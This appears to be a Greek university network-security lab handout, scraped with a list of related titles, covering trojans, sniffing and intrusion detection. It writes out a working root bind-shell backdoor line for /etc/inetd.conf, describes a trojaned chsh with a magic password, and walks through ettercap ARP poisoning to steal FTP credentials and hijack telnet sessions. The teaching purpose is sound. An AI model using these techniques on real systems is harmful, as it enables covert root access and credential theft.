Άσκηση 3. Θέµατα κακόβουλων προγραµµάτων

Σχετικά έγγραφα
Εργαστήριο Ασφάλειας Υπολογιστικών Συστηµάτων και ικτύων

ιαχείριση Πληροφοριών στο ιαδίκτυο

2.1. Οι λογαριασµοί χρηστών Σύνδεση (login) και αποσύνδεση (logout)

Αρχιτεκτονικές Δικτύων & Πρωτόκολλα Ι

Linux με τη χρήση κονσόλας

CYGWIN Οδηγίες Χρήσης (Συγγραφέας: Γιώργος ούκας)

Οδηγίες εγκατάστασης εφαρµογής διαβίβασης εντολών Χ.Α.Α. µέσω της EUROCORP Χρηµατιστηριακής Σελίδα 1 από 11

Χρήση του Ηλεκτρονικού Ταχυδροµείου µεαποµακρυσµένη σύνδεση

ΕΓΧΕΙΡΙ ΙΟ ΡΥΘΜΙΣΕΩΝ ΓΙΑ ΤΗΝ ΠΡΟΣΒΑΣΗ ΣΕ ΗΛΕΚΤΡΟΝΙΚΟΥΣ ΠΟΡΟΥΣ ΙΚΤΥΟ ΒΙΒΛΙΟΘΗΚΩΝ ΤΟΥ ΙΝΣΤΙΤΟΥΤΟΥ ΘΕΡΒΑΝΤΕΣ

Εισαγωγή και επεξεργασία δεδοµένων

Εγκατάσταση. Εγκατάσταση του Wamp

Απομακρυσμένη Πρόσβαση και Εντολές Ελέγχου και Υποστήριξης

Το Ηλεκτρονικό Ταχυδροµείο ( ) είναι ένα σύστηµα που δίνει την δυνατότητα στον χρήστη να ανταλλάξει µηνύµατα αλλά και αρχεία µε κάποιον άλλο

Ενηµερώσεις λογισµικού Οδηγός χρήσης

Α)Εγκατάσταση του προγράµµατος

Μεταφορά Αρχείων µε χρήση της Υπηρεσίας FTP σελ. 1

Εργαστήριο Ethereal: ICMP

ΚΕΦΑΛΑΙΟ Web Services

Packet Tracer. ηµιουργία τοπολογίας Βήµα 1: Εκτελούµε το Packet Tracer

Special edition of the Technical Chamber of Greece on Video Conference Services on the Internet, MICROSOFT CHAT v2.0

α) η καταγραφή και η σύλληψη της δικτυακής κίνησης (capture) και β) η ανάλυση της δικτυακής κίνησης.

1. Εγκατάσταση του NetMeeting

Atlantis - Νέο user interface

Barcode scanner Posiflex CD D. Motorola AP 5131 Wireless Access Point (Εγκατάσταση)

Οδηγός γρήγορης εγκατάστασης. (Για Windows και MAC) Ασύρματη κάμερα IP HD περιστροφής / κλισης για εσωτερικούς χώρους v3.14

ΗY335: Δίκτυα Υπολογιστών Χειμερινό Εξάμηνο Τμήμα Επιστήμης Υπολογιστών Πανεπιστήμιο Κρήτης Διδάσκουσα: Μαρία Παπαδοπούλη

ΕΡΓΑΣΤΗΡΙΑΚΗ ΑΣΚΗΣΗ #2 Ethernet MAC Στρώµα


Ενηµερώσεις λογισµικού Οδηγός χρήσης

ΠΡΟΓΡΑΜΜΑΤΙΣΤΙΚΕΣ ΤΕΧΝΙΚΕΣ Σύντομη εισαγωγή στο εργαστήριο

Αναγνώριση υποθεµάτων αρχείων Αντιγραφή κειµένου Αντιγραφη εικόνων Αντιγραφή video

Οδηγός γρήγορης εγκατάστασης. (Για Windows και MAC) Ασύρματη κάμερα IP HD για εξωτερικούς χώρους v3.14

ΡΥΘΜΙΣΕΙΣ ΓΙΑ ΔΥΝΑΜΙΚΟ IP


Στην συνέχεια και στο επόµενο παράθυρο η εφαρµογή µας ζητάει να εισάγουµε το Username και το Password το οποίο σας έχει δοθεί από τον ΕΛΚΕ.

H ΓΛΩΣΣΑ C. Μάθηµα 1: Το Πρώτο µας Πρόγραµµα σε C. ηµήτρης Ψούνης


Διαχείριση Πληροφοριών στο Διαδίκτυο. Εργαστήριο 1

ΕΝΤΑΞΗ ΣΤΑΘΜΟΥ ΕΡΓΑΣΙΑΣ ΣΕ DOMAIN

Για περισσότερες πληροφορίες σχετικά με τη συμβατότητα του λογισμικού με άλλα λειτουργικά συστήματα, επικοινωνήστε με το τμήμα υποστήριξης πελατών.

του και από αυτόν επιλέγουµε το φάκελο εµφανίζεται ένα παράθυρο παρόµοιο µε το ακόλουθο:

MICROSOFT OFFICE 2003 MICROSOFT WORD 2003

ΣΥΝ ΕΣΗ Η/Υ ΣΤΟ LAN TOY ΙΟΝΙΟΥ ΠΑΝΕΠΙΣΤΗΜΙΟΥ ΛΕΙΤΟΥΡΓΙΚΟ ΣΥΣΤΗΜΑ WINXP(ΕΛΛΗΝΙΚΑ)

Η εφαρµογή ClassWeb δίνει στους διδάσκοντες χρήστες του συστήµατος τη δυνατότητα πρόσβασης µέσω του ιαδικτύου σε ποικίλες υπηρεσίες, όπως:

Εγκατάσταση του PiNet για διαχείριση εργαστηρίου με Raspberry Pi. Συγγραφέας: Τριχόπουλος Γιώργος Δεκέμβριος 2016

Αντιγραφή με χρήση της γυάλινης επιφάνειας σάρωσης

ΤΕΧΝΙΚΕΣ ΕΠΙΘΕΣΗΣ (1/8)

Οδηγίες για το Βιβλίο Κοστολογίου στα Γ κατηγορίας βιβλία

Cubitech Hellas Ακροπόλεως 24, Καλλιθέα, Αθήνα Τ.Κ , Ελλάδα, Τηλ Φαξ

Ασφάλεια Υπολογιστικών Συστηµάτων

Εργαστήριο Ethereal: IP

Μανώλης Κιαγιάς, MSc. Aiolos Project. Αρχικές Ρυθμίσεις SSH και εγκατάσταση OpenMPI

Special edition of the Technical Chamber of Greece on Video Conference Services on the Internet, PIRCH 32 v0.92b

ΚΕΦΑΛΑΙΟ 4 ΤΟ ΕΡΓΑΛΕΙΟ SOLVER

ΑΤΕΙ ΘΕΣΣΑΛΟΝΙΚΗΣ - ΤΜΗΜΑ ΜΗΧΑΝΙΚΩΝ ΠΛΗΡΟΦΟΡΙΚΗΣ ΜΑΘΗΜΑ: ΤΗΛΕΠΙΚΟΙΝΩΝΙΕΣ ΚΑΙ ΔΙΚΤΥΑ Η/Υ. Υλοποίηση Γέφυρας με την Χρήση Σημείου Πρόσβασης

ΥΠΗΡΕΣΙΑ WEBMAIL ΚΥΠΕΣ

Εγχειρίδιο χρήσης συστήματος ηλεκτρονικής αλληλογραφίας της Ελληνικής Ομοσπονδίας Μπριτζ

Εγκατάσταση του εκτυπωτή από το CD λογισμικού και τεκμηρίωσης

Σηµαντικές παρατηρήσεις σχετικά µε το backround:

Ο ΗΓΙΕΣ ΧΡΗΣΤΗ AR-7664

Οδηγίες χειρισµού. Οδηγίες χρήσεως driver B

Συγχρηµατοδοτούµενο από το ΥΠΕΠΘ και την Ευρωπαϊκή Ένωση

ΕΓΚΑΤΑΣΤΑΣΗ ΣΥΝ ΕΣΗΣ DIAL-UP ΣΕ ΛΕΙΤΟΥΡΓΙΚΟ ΣΥΣΤΗΜΑ WINDOWS XP

Άσκηση 1 η. Βασική συνδεσιµότητα & ίκτυα Ethernet

Σύντομη παρουσίαση των εργαλείων/εντολών telnet, ping, traceroute nslookup και nmap, zenmap

Οδηγός γρήγορης εγκατάστασης. Ασύρματη κάμερα. IP MJPEGγια εξωτερικούς χώρους V3.14

ΧΡΗΣΙΜΟΠΟΙΩΝΤΑΣ ΤΟ ARIS

Σύνδεση στο δίκτυο του Πανεπιστηµίου µέσω modem (dial-up πρόσβαση) σελ. 1

Αρχιτεκτονικές Δικτύων & Πρωτόκολλα Ι

Πλατφόρµα Ασύγχρονης Τηλεκπαίδευσης eclass 2.0. Οδηγίες Αναβάθµισης (Upgrade) Αθήνα, 1 Ιουνίου Εισαγωγή

ΠΑΝΕΠΙΣΤΗΜΙΟ ΙΩΑΝΝΙΝΩΝ ΤΜΗΜΑ ΜΑΘΗΜΑΤΙΚΩΝ

User Name : admin. XMEYE AHD_GN_AHR_short_manual_gr

Ο ΗΓΙΕΣ ΕΓΚΑΤΑΣΤΑΣΗΣ «ΠΟΛΥΧΡΗΣΤΙΚΗΣ» ΕΚ ΟΣΗΣ ASP

ΟΔΗΓΙΕΣ ΧΡΗΣΕΩΣ ΣΥΣΚΕΥΗΣ K10

Γνωριµία µε τη Microsoft Access

Σύνδεση σε τοπικό δίκτυο LAN μέσω πρίζας δικτύου

Διαχείριση Δικτύων Εργαστήριο (Διαφάνειες)

Εργαστήριο Java. Διδάσκουσα: Εργαστηριακοί Συνεργάτες:

Οδηγός σύνδεσης στο δίκτυο του ΤΕΠΑΚ μέσα από την υπηρεσία απομακρυσμένης πρόσβασης VPN Τεχνολογικό Πανεπιστήμιο Κύπρου


Snort. A multi-mode packet analysis tool 3-1. Ασφάλεια Δικτύων, Τμήμα Πληροφορικής, Ο.Π.Α.,

Εγχειρίδιο Χρήσης (MIS) για τη Σχολική Μονάδα

Ενεργοποίηση του πρωτοκόλλου IPv6

2 Ο Ε.Κ.Φ.Ε. ΗΡΑΚΛΕΙΟΥ. Οδηγίες χρήσης PDFCreator

Πληροφοριακού Συστήµατος ΛΑΕΚ. Για τους Εισηγητές. Εγχειρίδιο Χρήσης. AbiTECH A.E. Έκδοση 1.0. εκέµβριος Κηφισίας & Ευβοίας 3, Μαρούσι

ΕΓΧΕΙΡΙΔΙΟ ΜΑΘΗΤΗ. της Πλατφόρμας Τηλεκατάρτισης

Οδοραµα mobile ΑΠΟΘΗΚΗ

ΠΕΡΙΕΧΟΜΕΝΑ. Περιγραφή της αρχικής οθόνης κάθε τάξης α. Εικονίδια επιλογής θεµατικών ενοτήτων β. Εικονίδια διαφυγής...

Οδηγίες Χρήσης EAP Controller Software

CARDISOFT. User Guide. ClassWeb VERSION 1.1. [February] [2007] Cardisoft Ανώνυµη Εταιρία Παραγωγής Λογισµικού

MESSAGE EDITOR FOR WINDOWS Ο ΗΓΙΕΣ ΧΡΗΣΕΩΣ

BHMATA ΓΙΑ ΑΝΑΒΑΘΜΙΣΗ ΣΤΟ 3S/I.T.P.

Ενημερώσεις λογισμικού Οδηγός χρήσης

Αναπαραγωγή με αρχεία ήχου

Ασφάλεια Υπολογιστικών Συστηµάτων

Special edition of the Technical Chamber of Greece on Video Conference Services on the Internet, 2000 INTERNET PHONE

Εργαστήριο Wireshark: DNS

Εργαστήριο ικτύων Υπολογιστών 6η ιάλεξη: Ασφάλεια δικτύων


Αποστολή και λήψη μέσω SMARTER MAIL

Transcript:

Άσκηση 3 Θέµατα κακόβουλων προγραµµάτων Τα λεγόµενα backdoors είναι προβλήµατα που υπάρχουν στο σύστηµα λόγω προγραµµατιστικού λάθους ή λάθους ρύθµισης των υπηρεσιών ή τον προγραµµάτων που εκτελούνται στο σύστηµα. Επιτρέπουν την πρόσβαση σε τρίτους οι οποίοι τις περισσότερες φορές καταφέρνουν να σπάσουν την ασφάλεια του συστήµατος και να αποκτήσουν root (administrator) δικαιώµατα. Για να είναι όµως σίγουροι ότι θα µπορούν να έχουν πρόσβαση στο σύστηµα, αφού ο διαχειριστής µπορεί να ανακαλύψει το πρόβληµα και να το διορθώσει, χρησιµοποιούν τα λεγόµενα Trojan horses (δούρειοι ίπποι). Τα Trojans επιτρέπουν µια µη εξουσιοδοτηµένη κρυφή πρόσβαση (κυρίως ως root) την οποία τη γνωρίζει µόνο αυτός που το έχει εγκαταστήσει. Τα Trojans χωρίζονται σε δυο κατηγορίες Client Server Trojans Τα Trojans µπορεί να συµπεριφέρονται ως προγράµµατα του συστήµατος (web servers, ftp servers κ.λ.π.). Γενικά ανοίγουν κάποιο port στο tcp πρωτόκολλο και λειτουργούν ως servers. ίνοντας όµως την κατάλληλη εντολή (request) τρέχουνε το κέλυφος ως root και σε αφήνουν να έχεις πλήρη πρόσβαση στο σύστηµα. Άλλου είδους Trojans ακούνε σε unprivileged ports (σε ports δηλαδή που δεν χρησιµοποιούνται από προγράµµατα). Επίσης, µπορούν να ακούνε και στο icmp πρωτόκολλο κάτι το οποίο δεν γίνεται εύκολα αντιληπτό από τον διαχειριστή του συστήµατος. Όταν γίνεται σύνδεση στο Internet, τότε αυτόµατα χρησιµοποιούνται µερικές θύρες από του υπολογιστή για την επικοινωνία του. Οι θύρες αυτές δεν είναι τίποτε άλλο παρά ακέραιοι αριθµοί που χαρακτηρίζουν την κάθε εφαρµογή του υπολογιστή για την επικοινωνία του µε τους υπόλοιπους υπολογιστές. Με την εντολή netstat a από το γραµµή εντολών του DOS µπορείτε να δείτε ποιες θύρες δεν χρησιµοποιούνται και ποιες είναι σε χρήση από κάποια εφαρµογή. Όπως απεικονίζεται στο παραπάνω παράδειγµα η θύρα 1067 του υπολογιστή σας χρησιµοποιείται (established) από τον browser για την αναπαράσταση της ιστιοσελίδας του in.gr ενώ η θύρα 14374 είναι ανοιχτή (Listening) και µπορεί αν χρησιµοποιηθεί από µία εφαρµογή. Ένα πρόγραµµα Trojan µπορεί να ανοίξει µια θύρα του υπολογιστή για να επικοινωνεί µε τον υπολογιστή του χρήστη που επιτίθεται. Έτσι ο κακόβουλος χρήστης µπορεί να επικοινωνήσει µε την server εφαρµογή που έχει σταλθεί στον ανυποψίαστο χρήστη θύµα, και να καλέσει στην προκειµένη περίπτωση κλήσεις συστήµατος από τον υπολογιστή του παίρνοντας τον έλεγχο του υπολογιστή στα χέρια του. 22

1. Internal Trojans Ένα εσωτερικό Trojan µπορεί να είναι κάποιο εκτελέσιµο αρχείο το οποίο όταν το τρέξει οποιαδήποτε ή κάποιος συγκεκριµένος χρήστης, αυτό να του δώσει δικαιώµατα διαχειριστή συστήµατος. Επίσης µπορεί να είναι κάποιο patched (αλλαγµένο) εκτελέσιµο συστήµατος (π.χ bash, finger, passwd κ.λ.π.) που µε την κατάλληλη αίτηση (εντολή) να δίνει δικαιώµατα superuser. Παράδειγµα χρήσης ενός Trojan horse στο UNIX Ας φανταστούµε πως κάποιος τρίτος έχει κατορθώσει εκµεταλλευόµενος ένα backdoor ασφαλείας του συστήµατος να έχει πρόσβαση superuser στο σύστηµα. Για να είναι σίγουρος ότι δεν θα χάσει την πρόσβαση αυτή εγκαθιστά ένα απλό Trojan στο σύστηµα που θα του επιτρέπει πλήρη δικαιώµατα superuser οποιαδήποτε στιγµή το επιθυµήσει, παραµένοντας «αόρατος» στο σύστηµα (δηλαδή δεν καταγράφετε σε κανένα αρχείο η είσοδός του). Ο πιο απλός τρόπος να εγκαταστήσει κάποιος ένα Trojan (client-server) σε ένα unix σύστηµα είναι να προσθέσει µια εντολή στο αρχείο /etc/inetd.conf το οποίο θα εκτελεί ένα shell (κέλυφος) µόλις γίνει η σύνδεση στην tcp πόρτα που έχει οριστεί. Συνδεθείτε µέσω της υπηρεσίας ssh ως root στο σύστηµα που βρίσκετε δίπλα από το δικό σας, π.χ. ssh l root 10.0.0.2 (για να συνδεθείτε π.χ στο sec2) Ανοίξτε µε κάποιον editor to αρχείο /etc/inetd.conf Το inetd.conf είναι το αρχείο ρυθµίσεων του inetd (internet super-server ). Το inetd µπορεί να διαχειριστεί πολλούς servers σαν µία εφαρµογή (να τους κλείσει, να τους ανοίξει, να τους ρυθµίσει σε ποια πόρτα να ακούνε, κλπ). Για περισσότερες πληροφορίες για το inetd εκτελέστε man inetd) και προσθέστε στο τέλος του αρχείου τη γραµµή: 44777 stream tcp nowait root /bin/bash bash i Επεξήγηση 44777 = (πορτα) stream = (τύπος του socket) tcp = το πρωτόκολλο nowait = υποδηλώνει πως ο server πρέπει να παρέχει συνέχεια συνδέσεις στην πόρτα root = το όνοµα της ιδιοκτησίας του server (στο παράδειγµα µας είναι ο root για να έχουµε πλήρη δικαιώµατα) /bin/bash bash i = Την εφαρµογή που θα εκτελέσει ο server = Παράµετροι της εφαρµογής Εκτελέστε την εντολή killall HUP inetd H εντολή killall HUP «σκοτώνει και επανεκκινεί» την εφαρµογή inetd έτσι ώστε η δεύτερη να διαβάσει το αρχείο ρυθµίσεων inetd.conf και να εκτελέσει την γραµµή που εισάγαµε. Αποσυνδεόµαστε από τον αποµακρυσµένο υπολογιστή και δοκιµάζουµε από το σταθµό εργασίας µας να δούµε εάν το Trojan που εγκαταστήσαµε λειτουργεί. Συνδεόµαστε µε την εφαρµογή telnet στην πόρτα που ορίσαµε telnet «υπολογιστής_µε_το_trojan» «πόρτα» (π.χ telnet 10.0.0.1 44777) Trying 10.0.0.1 Connected to 10.0.0.1 Escape character is '^]'. 23

Εάν δούµε κάτι τέτοιο στην οθόνη µας σηµαίνει πως το trojan µας δουλεύει. Πλέον µπορούµε να εκτελούµε εντολές σαν να είµαστε superuser. Κάνοντας w ή who δεν φαίνετε ότι έχουµε συνδεθεί. Είµαστε εντελώς αόρατοι στο σύστηµα. Στο τέλος κάθε εντολής πρέπει να προσθέτουµε και το ; έτσι ώστε να δηλώνουµε πως τελείωσε η σύνταξή της, π.χ ls; Εκτελώντας την εντολή netstat tlp; µπορούµε να δούµε το trojan µας να έχει ανοίξει το tcp port που του έχουµε ορίσει. Φυσικά έτσι µπορεί ο πραγµατικός administrator του συστήµατος να ανακαλύψει πιθανά εγκατεστηµένα client-server trojans Βγείτε από την υπηρεσία telnet και συνδεθείτε στον υπολογιστή που δηµιουργήσατε το trojan. ιαγράψτε τη γραµµή που είχατε προσθέσει στο /etc/inetd.conf και επανεκκινήστε τον super server inetd. Στη συνέχεια υποθέτουµε πως κάποιος τρίτος θέλει να εγκαταστήσει ένα εσωτερικο trojan σε κάποιο εκτελέσιµο αρχείο έτσι ώστε όταν το εκτελέσει από user να γίνει superuser. Φυσικά για να εγκαταστήσει ενός τέτοιου είδους trojan πρέπει κατά την εγκατάσταση να έχει δικαιώµατα superuser. Στο παράδειγµα µας έχουµε αλλάξει το εκτελέσιµο chsh µε ένα δικό µας το οποίο κάνει την ίδια ακριβώς λειτουργία µε το πραγµατικό αρχείο, αλλά όταν δοθεί συγκεκριµένος κωδικός αυτόµατα εκτελείται µε δικαιώµατα root το /bin/bash. *To chsh αλλάζει το αρχικό κέλυφος του χρήστη σύµφωνα µε την προσωπική προτίµησή του (π.χ. bash,csh,ksh). Συνδεόµαστε ως user σε έναν υπολογιστή µε την υπηρεσία ssh. ssh 10.0.0.5 l sec5 $ Εκτελούµε την εφαρµογή chsh $chsh Password: Εάν δώσουµε τον πραγµατικό κωδικό του χρήστη που έχουµε συνδεθεί θα µας δοθεί η δυνατότητα να επιλέξουµε το κέλυφος που επιθυµούµε Enter the new value, or press return for the default $ Login Shell [/bin/bash]: Εάν όµως εκτελέσουµε το chsh και για κωδικό βάλουµε τον κωδικό satori, αυτόµατα θα εκτελεστεί το /bin/bash µε δικαιώµατα root! $chsh Password: satori # whoami root 24

Sniffers ettercap Κάντε login στον υπολογιστή σας ως κανονικός χρήστης και συνδεθείτε αποµακρυσµένα στην ip 10.0.0.1 (µε την υπηρεσία ssh ) ως superuser (root). ssh l root 10.0.0.1 Εκτελέστε το πρόγραµµα ettercap Το ettercap είναι ένας «sniffer» για Ethernet δίκτυα. Μπορεί να καταγράψει κωδικούς από αποµακρυσµένες συνδέσεις σε υπηρεσίες telnet,ftp κ.λ.π., κυρίως plain text. Επίσης, µπορεί να παρακολουθήσει µια σύνδεση ανάµεσα σε δυο υπολογιστές και να καταγράψει τα δεδοµένα που ανταλλάσσονται τόσο σε επίπεδο hubed network, όσο και σε επίπεδο switched network. Στο switched network to ettercap επιτυγχάνει την παρακολούθηση (sniffing) µέσω της τεχνικής Man in the middle attack. Το Ettercap στην αρχή θα ψάξει το δίκτυο για τους υπάρχοντες ενεργούς υπολογιστές και θα τους εµφανίσει σε µία λίστα ως source targets (αριστερή στήλη) και destination targets (δεξιά στήλη). Από αυτές τις στήλες θα µπορούµε να κάνουµε τις επιλογές µας για το ποιο host θα ερευνήσουµε. Your IP: 10.0.0.1 with MAC: 00:50:BF:05:F0:32 on Iface: eth0 Loading plugins... Done. Building host list for netmask 255.255.255.0, please wait... Sending 255 ARP request... - =========================> 49.41 % Η αρχική οθόνη του ettercap 25

Στην αρχική οθόνη µπορούνε να συλλέξουµε πληροφορίες όπως την ip µας, την MAC address της κάρτας δικτύου που έχουµε. Το interface που χρησιµοποιούµε (eth0) καθώς και αν το δίκτυο βασίζεται σε hub ή σε switch. Από τη δεξιά η από την αριστερή στήλη µπορείτε να επιλέξετε µε τα βελάκια την ip του υπολογιστή που επιθυµείτε και να ανιχνεύσετε µε το πλήκτρο (f) τι τύπος είναι (το λειτουργικό του, τι κάρτα Ethernet έχει κ.λ.π.). Η τεχνική αυτή ονοµάζεται «O.S. fingerprint» Στο παράδειγµα µας έχουµε επιλέξει τον υπολογιστή 10.0.0.10 και το πρόγραµµα έχει συλλέξει τις απαραίτητες πληροφορίες. Ας υποθέσουµε πως το δίκτυο µας είναι συνδεδεµένο µε switch και στον υπολογιστή µε την ip 10.0.0.1 υπάρχει ένας ftp server. Σε αυτόν τον server συνδέονται καθηµερινά άτοµα από διάφορους υπολογιστές του τοπικού δικτύου για να µεταφέρουν προσωπικά έγγραφα. Ένας τρίτος ο οποίος γνωρίζει τις τεχνικές sniffing µπορεί να υποκλέψει κωδικούς και να παρακολουθήσει ολόκληρη τη συνοµιλία µεταξύ του server και των clients. Η άσκηση αυτή πραγµατοποιείται από δύο οµάδες. Η πρώτη οµάδα θα συνδεθεί στον server µέσω της υπηρεσίας ftp ενώ η δεύτερη θα χειρίζεται το ettercap και θα παρακολουθεί την επικοινωνία. 1) Επιλέξτε από το ettercap τον Υπολογιστή-Προορισµό (δηλαδή τον server). Αυτό πραγµατοποιείται πατώντας enter στον υπολογιστή της δεξιάς στήλης (destination targets) 26

Ας υποθέσουµε πως θέλουµε να παρακολουθήσουµε ως στόχο-προορισµού (destination target) τον υπολογιστή 10.0.0.32 και ως στόχο-πηγής (source target) οποιονδήποτε υπολογιστή. Στην παρακάτω οθόνη διακρίνουµε το υλοποιηµένο το παράδειγµά µας. Έχει επιλεγεί ως 00:04:76:DC:B3:A6 προορισµός ο υπολογιστής µε την ip 10.0.0.32 και την MAC address 2) Έπειτα πατάµε το πλήκτρο (α) (ARP poisoning based sniffing) το οποίο ενεργοποιεί τη λειτουργία sniffing σε δίκτυα µε switches. Θα εµφανιστεί η ακόλουθη οθόνη η οποία επιβεβαιώνει τις ρυθµίσεις που έχουµε κάνει µέχρι τώρα για την λειτουργία switched sniffing. 3) Το sniffer µας είναι σε λειτουργία πραγµατικού χρόνου. Η οµάδα που βρίσκεται σε κάποιον άλλο υπολογιστή πρέπει να δοκιµάσει να συνδεθεί µε την υπηρεσία ftp στον υπολογιστή 10.0.0.32 Πρέπει να εκτελέσει την εντολή ftp 10.0.0.32 και να πληκτρολογήσει ως username: secsnif και ως password hiddenpass Με το που θα γίνει η διαδικασία εισόδου to ettercap θα έχει υποκλέψει τα προσωπικά στοιχεία του λογαριασµού που εισήχθησαν και θα έχει εµφανίσει τη σύνδεση που ανίχνευσε. 27

Με την εντολή (q) διακόπτετε την λειτουργία sniffing του ettercap και επιστρέφετε στην αρχική οθόνη του προγράµµατος. Sniffing και Επίθεση Man in the middle Επαναλάβετε το ίδιο παράδειγµα µόνο που αντί για να συνδεθείτε στην υπηρεσία ftp συνδεθείτε στην υπηρεσία telnet. Έχοντας ανοιχτή την επιβεβαίωση της telnet σύνδεσης στην εφαρµογή ettercap, πατήστε enter πριν η άλλη οµάδα πληκτρολογήσει τα στοιχεία για την είσοδο στο λογαριασµό. Η επιβεβαίωση πρέπει να είναι κάπως έτσι. 10.0.0.10:1081 <--> 10.0.0.12:23 active telnet Πατώντας enter το πρόγραµµα εισέρχεται σε λειτουργία Sniffing - Man in the middle attack και υποκλέπτει όλη την επικοινωνία µεταξύ των δύο υπολογιστών. Ο τρίτος χρήστης που παρακολουθεί την επικοινωνία µπορεί να την τερµατίσει πατώντας (k) ή να εισάγει δικά του δεδοµένα (injection hijacking) στην επικοινωνία µε την εντολή (i). ETHEREAL Θα χρησιµοποιήσουµε ένα πρόγραµµα server/client για ανταλλαγή µηνυµάτων µε χρήση sockets και του udp πρωτοκόλλου, ενώ ταυτόχρονα θα γίνεται η καταγραφή των πακέτων που αποστέλλονται και η ανάλυση τους, µε χρήση του προγράµµατος ethereal. Εκκίνηση ethereal Από γραφικό περιβάλλον ανοίγουµε ένα παράθυρο τερµατικού και πληκτρολογούµε: #ethereal Εµφανίζεται το κεντρικό παράθυρο του Ethereal: 28

Επιλεγούµε Capture και µετά Interfaces Επιλεγούµε το interface lo 127.0.0.1 και πατάµε Capture 29

Εκκίνηση του Server ανταλλαγής µηνυµάτων Ενώ το Ethereal βρίσκεται σε Capture mode ανοίγουµε ένα παράθυρο τερµατικού και πληκτρολογούµε: #cd /home/socket_udp/server #./server Με τις εντολές αυτές εκτελείται ο server του προγράµµατος ανταλλαγής µηνυµάτων. Εκκίνηση του Client ανταλλαγής µηνυµάτων Στην συνεχεία ανοίγουµε ένα ακόµα παράθυρο τερµατικού και πληκτρολογούµε: #cd /home/socket_udp/client #./client Με τις εντολές αυτές εκτελείται ο client. Καταγραφή πακέτων µέσω του Ethereal Στο παράθυρο στο οποίο εκτελείται ο client πληκτρολογούµε ένα µήνυµα, πχ: Testing Ethereal packet capture 30

Εάν παρατηρήσουµε το παράθυρο του Ethereal βλέπουµε ότι έχει γίνει συλλογή πακέτων τα οποία µεταδοθήκαν από τον client στον server και επέστρεψαν στον client. Αφού έγινε η καταγραφή των πακέτων πατάµε στο Stop. Στην συνεχεία βλέπουµε στο Ethereal την ανάλυση των πακέτων που συλλέχθηκαν. Εάν πατήσουµε επάνω σε κάποιο από τα πακέτα στο επάνω παράθυρο τότε µας εµφανίζεται η ανάλυση του πακέτου στο κεντρικό και στο κάτω παράθυρο. 31

Στην ανάλυση του πακέτου βλέπουµε το µήνυµα που είχαµε πληκτρολογήσει στον client. Στην επιλογή Capture -> Options µπορούµε να επιλέξουµε επιπλέον ρυθµίσεις για την διαδικασία συλλογής των πακέτων. Στην λίστα Interface µπορούµε να επιλέξουµε την διεπαφή στην οποία το Εthereal θα κάνει συλλογή πακέτων. 32

Μια από τις πιο σηµαντικές επιλογές είναι η: Update list of packets in real time Επιλέγοντας την επιλογή αυτή έχουµε προβολή των πακέτων σε πραγµατικό χρόνο κατά την συλλογή. SNORT ΠΕΙΡΑΜΑ 1 Sniffer Mode: Χρησιµοποιώντας το πρόγραµµα SNORT, να γίνει παρακολούθηση των πακέτων που καταφθάνουν στον προσαρµογέα δικτύου του υπολογιστή που εκτελείται το SNORT. Στον υπολογιστή που είναι εγκατεστηµένο το SNORT εκτελούµε την εντολή: #snort v Το SNORT βρίσκεται σε κατάσταση sniffer. Από έναν άλλο υπολογιστή στο τοπικό µας δίκτυο κάνουµε ping στον υπολογιστή στον οποίο εκτελείται το SNORT. Στην οθόνη παρακολουθούµε τα πακέτα τα οποία ανιχνεύει το SNORT. Για να διακόψουµε την εκτέλεση του SNORT, πατάµε τα πλήκτρα CTRL-C Ακολουθεί η έξοδος του snort µετά την εκτέλεσή του σε sniffer mode: 33

Στην εικόνα της εξόδου παρατηρούµε ότι το snort εντόπισε 8 πακέτα από τα οποία τα 3 αναλύθηκαν και εντοπίστηκε ότι ανήκουν στο πρωτόκολλο TCP. ΠΕΙΡΑΜΑ 2 Packet Log Mode: Χρησιµοποιώντας το πρόγραµµα SNORT σε κατάσταση sniffer, να γίνει καταγραφή των πακέτων που ανιχνεύονται σε ένα log αρχείο (Packet Log). Στον υπολογιστή που είναι εγκατεστηµένο το SNORT εκτελούµε την εντολή: #snort dev l /tmp Το SNORT βρίσκεται σε κατάσταση sniffer. Από έναν άλλο υπολογιστή στο τοπικό µας δίκτυο κάνουµε ping στον υπολογιστή στον οποίο εκτελείται το SNORT. Στην οθόνη παρακολουθούµε τα πακέτα τα οποία ανιχνεύει το SNORT. Για να διακόψουµε την εκτέλεση του SNORT, πατάµε τα πλήκτρα CTRL-C Με την εντολή #cd /tmp µεταβαίνουµε στον φάκελο tmp όπου είναι αποθηκευµένο το log αρχείο που δηµιούργησε το SNORT. Για να δούµε τα περιεχόµενα του αρχείου δίνουµε την εντολή: #snort dev r /tmp/(όνοµα του log αρχείου) Ακολουθεί η έξοδος του snort σε κατάσταση Packet Log Mode: 34

Στην παραπάνω εικόνα παρατηρούµε την αναφορά του snort για τα πακέτα που αναλύθηκαν και την επιβεβαίωση ότι έγινε καταγραφή τους σε log αρχείο (LOGGED: 9) ΠΕΙΡΑΜΑ 3 Network Intrusion Mode: Χρησιµοποιώντας το πρόγραµµα SNORT σε κατάσταση Network Intrusion, να γίνει παρακολούθηση των πακέτων τα οποία αφορούν την υπηρεσία telnet. Για να γίνει αυτό πρέπει να επιλέξουµε το σύνολο κανόνων (rules) που είναι υπεύθυνα για την παρακολούθηση της υπηρεσίας αυτής. Το αρχείο που περιέχει τους κανόνες για την παρακολούθηση της υπηρεσίας telnet είναι το telnet.rules και βρίσκεται στον φάκελο /etc Εκτελούµε την εντολή: #snort A console -d -h 192.168.0.0/24 -l /tmp -c /etc/ telnet.rules Το SNORT βρίσκεται σε κατάσταση Intrusion Mode. Από έναν άλλο υπολογιστή πληκτρολογούµε: #telnet (IP του υπολογιστή στον οποίο τρέχει το snort) Στην οθόνη παρακολουθούµε την ειδοποίηση του SNORT όταν ανιχνεύει προσπάθεια σύνδεσης µε telnet. Εκτός της ειδοποίησης γίνεται και καταγραφή των πακέτων που αφορούν το telnet. Για να διακόψουµε την εκτέλεση του SNORT, πατάµε τα πλήκτρα CTRL-C 35

Στην οθόνη βλέπουµε ότι το SNORT βρίσκεται σε κατάσταση Network Intrusion Mode. Στην οθόνη βλέπουµε την ειδοποίηση του SNORT για προσπάθεια σύνδεσης στον υπολογιστή µε χρήση telnet. Στην οθόνη βλέπουµε την αναφορά του SNORT για την ύπαρξη πακέτων τα οποία έχουν καταγραφεί στο log αρχείο. 36

